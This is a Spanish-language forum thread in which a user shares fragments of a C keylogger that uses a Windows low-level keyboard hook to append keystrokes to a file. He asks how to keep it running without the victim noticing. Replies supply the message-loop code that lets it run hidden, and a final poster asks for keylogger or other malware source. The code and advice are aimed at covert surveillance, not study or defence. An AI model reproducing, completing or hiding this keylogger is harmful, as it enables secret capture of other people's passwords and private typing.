Keylogger en C (Windows Hooks)

Iniciado por ars1993, 6 Julio 2013, 18:36 PM

0 Miembros y 1 Visitante están viendo este tema.

ars1993

Buenas, he escrito un keylogger en C usando hooks y tengo un pequeño problema, a ver si alguien me puede ayudar.
Ésto es parte de la función principal (WinMain) de mi keylogger

f = fopen ("C:/KEYS.TXT", "a+");
if (f==NULL){
exit(0);
}

HHOOK keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL, HookKey, hInstance, 0);

MessageBox(NULL, L"Click to exit", L"Keylogger", NULL);

        UnhookWindowsHookEx(keyboardHook);
fclose(f);
return 0;


Tengo que utilizar MessageBox() porque necesito que el programa se ejecute infinitamente. Aún así, MessageBox() no es muy bueno para mi keylogger ya que muestra un mensaje por pantalla (como es lógico). Aún así, he estado buscando y no encuentro otra función (o líneas de código) que hagan que el hook permanezca siempre sin que el usuario se de cuenta.

Mi código compila y guarda todo lo que el usuario escribe en un fichero. Aún así, el problema es éste que describo, que mientras el keylogger se está ejecutando, se muestra por pantalla el cuadro de diálogo originado por MessageBox().

A ver si alguien tiene alguna idea.

Gracias! ;)
640k deberian ser suficientes para todo el mundo..

fary

Un byte a la izquierda.

ars1993

Lo que he hecho es utilizar GetMessage, transaltemessage y dispatchmessage de la siguiente forma. Supongo que es éso a lo que te refieres, aun asi, me sigue sin funcionar.



MSG msg;

HHOOK keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL, HookKey, hInstance, 0);

while(1){
  GetMessage(&msg, NULL, 0, 0);
  TranslateMessage(&msg);
  DispatchMessage(&msg);


Ésto compila correctamente y también se ejecuta. Aún así, ahora ya no me loggea los caracteres guardándolos en el fichero tal y como hacia antes cuando utilizaba el MessageBox().

640k deberian ser suficientes para todo el mundo..

The Swash

Estás consultando una cola de mensajes así que deberías hacerlo así:
Código (cpp) [Seleccionar]
while(GetMessage(&Msg, NULL, 0, 0) > 0)
{
    TranslateMessage(&Msg);
    DispatchMessage(&Msg);
}


Saludos.

goto C

Hola, ars1993, tienes un mensaje privado que te he mandado, o eso creo jaja.

Por favor, estoy muy interesado en estos temas, estoy dispuesto a ayudar, ¿¿¿alguien podría pasarme o indicarme de dónde sacar algún código de keylogger en C??? O cualquier malware escrito en C...

Muchas gracias. Un saludo.